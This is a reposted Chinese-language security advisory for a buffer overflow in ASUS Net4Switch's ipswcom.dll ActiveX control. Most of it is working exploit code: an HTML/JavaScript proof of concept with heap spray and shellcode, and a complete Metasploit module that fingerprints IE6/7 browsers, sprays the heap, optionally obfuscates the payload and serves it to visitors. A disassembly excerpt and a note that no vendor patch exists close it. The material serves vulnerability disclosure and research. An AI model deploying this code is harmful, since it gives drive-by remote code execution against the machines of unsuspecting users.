ASUS Net4Switch 'ipswcom.dll' ActiveX远程拒绝服务漏洞

发布日期:2012-02-17
更新日期:2012-03-01

受影响系统:
Asus Net4Switch ipswcom.dll 1.0.0.1
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 52110

ASUS Net4Switch是华硕电脑上网络管理软件。

ASUS Net4Switch ipswcom.dll组件在实现上存在缓冲区溢出漏洞,远程攻击者可通过特制的html网页执行任意代码。

<*来源:Dmitriy Evdokimov
 
  链接:?id=417
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Dmitriy Evdokimov ()提供了如下测试方法:

<HTML>
<HEAD>
<TITLE>DSecRG: Asus exploit by EvdokimovDS</TITLE>
</HEAD>
<BODY>

<OBJECT classid='clsid:1B9E86D8-7CAF-46C8-9938-569B21E17A8E'></object>
<SCRIPT>

function Exploit()
{

//Shellcode &#65533; exec notepad
var shell = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%
u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61
%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud00
1%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3c
e3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf
475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u
588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%
ue0ff%u5f58%u8b5a%ueb12%u5d86%u016a%u858d%u00b9%u0000%u6850
%u8b31%u876f%ud5ff%ue0bb%u2a1d%u680a%u95a6%u9dbd%ud5ff%u063
c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u6ed5%u74
6f%u7065%u6461%u0000");

//Heap-spray
var bigbk=unescape("%u9090%u9090%u9090%u9090");
while(bigbk.length<0x40000) bigbk=bigbk+bigbk;
var mem=new Array();
for(i=0; i<400;i++) mem[i]=bigbk+shell;

//Buffer overflow
var bf=unescape("%u0d0d%u0d0d");
var buf="";   
while (buf.length<8000) buf=buf+bf;

vuln.Alert(buf);
}

Exploit();
</SCRIPT>
</BODY>
</HTML>


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::Remote::HttpServer::HTML
    def initialize(info={})
        super(update_info(info,
            'Name'           => "ASUS Net4Switch ipswcom.dll ActiveX Stack Buffer Overflow",
            'Description'    => %q{
                    This module exploits a vulnerability found in ASUS Net4Switch's ipswcom.dll
                ActiveX control.  A buffer overflow condition is possible in multiple places all
                because of the poor use of the CxDbgPrint() function, which allows remote attackers
                to gain arbitrary code execution under the context of the user.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Dmitriy Evdokimov', #Initial discovery, poc
                    'sinn3r'             #Metasploit
                ],
            'References'     =>
                [
                    [ 'OSVDB', 'http://osvdb.org/show/osvdb/79438' ],
                    [ 'URL', 'http://dsecrg.com/pages/vul/show.php?id=417' ]
                ],
            'Payload'        =>
                {
                    'BadChars'        => "\x00",
                    'StackAdjustment' => -3500,
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction'         => "seh",
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', {} ],
                    [ 'IE 6 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ],
                    [ 'IE 7 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Feb 17 2012",
            'DefaultTarget'  => 0))
        register_options(
            [
                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
            ], self.class)
    end
    def get_target(agent)
        return target if target.name != 'Automatic'
        if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
            return targets[1]  #IE 6 on Windows XP SP3
        elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
            return targets[2]  #IE 7 on Windows XP SP3
        else
            return nil
        end
    end
    def on_request_uri(cli, request)
        agent = request.headers['User-Agent']
        my_target = get_target(agent)
        if my_target.nil?
            print_error("Browser not supported: #{agent.to_s}: #{cli.peerhost}:#{cli.peerport}")
            send_not_found(cli)
            return
        end
        p = payload.encoded
        js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
        nops = Rex::Text.to_unescape(make_nops(4))
        spray = <<-JS
        var heap_obj = new heapLib.ie(0x20000);
        var code = unescape("#{js_code}");
        var nops = unescape("#{nops}");
        while (nops.length < 0x80000) nops += nops;
        var offset = nops.substring(0, #{my_target['Offset']});
        var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
        while (shellcode.length < 0x40000) shellcode += shellcode;
        var block = shellcode.substring(0, (0x80000-6)/2);
        heap_obj.gc();
        for (var i=1; i < 0x300; i++) {
            heap_obj.alloc(block);
        }
        JS
        spray = heaplib(spray, {:noobfu => true})
        js = <<-JS
        var obj = new ActiveXObject("ipswcom.IPSWComItf");
        #{spray}
        function generate_padding(d, s) {
            var tmp = d;
            while (tmp.length < s) {
                tmp += tmp;
            }
            var buf = tmp.substring(0, s/2);
            tmp = null;
            return buf;
        }
        var arg1 = generate_padding(unescape("%u4141"), 4);
        var arg2 = "A"; // Expands to 0x0041, helps us to align the stack
        arg2 += generate_padding(unescape("%u4343"), 2680);
        arg2 += unescape("%u4242%u4242");
        arg2 += unescape("%u0d0d%u0d0d");
        arg2 += generate_padding(unescape("%u0d0d"), #{my_target['Max']}-arg2.length);
        obj.MsgBox(arg1, arg2, 2);
        JS
        #obfuscate on demand
        if datastore['OBFUSCATE']
            js = ::Rex::Exploitation::JSObfu.new(js)
            js.obfuscate
        end
        html = <<-EOS
        <html>
        <head>
        </head>
        <body>
        <script>
        #{js}
        </script>
        </body>
        </html>
        EOS
        html = html.gsub(/\t\t/, '')
        print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
        send_response(cli, html, {'Content-Type'=>'text/html'})
    end
end
=begin
Download:

clsid:1B9E86D8-7CAF-46C8-9938-569B21E17A8E
C:\Program Files\ASUS\Net4Switch\ipswcom.dll
.text:10030523                 push    ecx
.text:10030524                 mov     eax, [ebp+arg_C]
.text:10030527                 mov     [ebp+var_4], eax
.text:1003052A                 cmp     [ebp+var_4], 0
.text:1003052E                 jz      short loc_10030541  <-- uType 10h
.text:10030530                 cmp     [ebp+var_4], 1
.text:10030534                 jz      short loc_10030573  <-- uType 44h
.text:10030536                 cmp     [ebp+var_4], 2
.text:1003053A                 jz      short loc_100305A5  <-- CxDbgPrint
...
.text:100305A5 loc_100305A5:                           ; CODE XREF: MsgBox+1Aj
.text:100305A5                 mov     eax, [ebp+lpText]
.text:100305A8                 push    eax
.text:100305A9                 push    offset aIpsw_alertS ; "[IPSW_alert] = %s"
.text:100305AE                 push    0FFh
.text:100305B3                 call    ds:CxDbgPrint
=end

建议:
--------------------------------------------------------------------------------
厂商补丁:

Asus
----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wwdyff.html